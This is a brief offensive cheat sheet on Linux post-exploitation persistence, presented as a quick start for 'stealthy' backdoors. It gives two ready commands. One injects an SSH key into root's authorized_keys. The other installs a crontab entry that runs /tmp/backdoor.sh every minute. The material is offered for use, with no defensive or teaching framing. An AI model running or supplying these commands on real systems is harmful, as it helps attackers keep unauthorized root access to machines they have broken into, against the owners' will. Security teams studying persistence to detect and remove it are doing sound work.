Linux Persistence Mechanisms

Post-exploitation persistence: durable, stealthy, rebootable backdoors.

Quick Start: Fastest Persistence Methods

# 1. SSH Key Injection (fastest, immediate)
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# 2. Cron Job (reliable, simple)
echo "* * * * * /tmp/backdoor.sh" | crontab -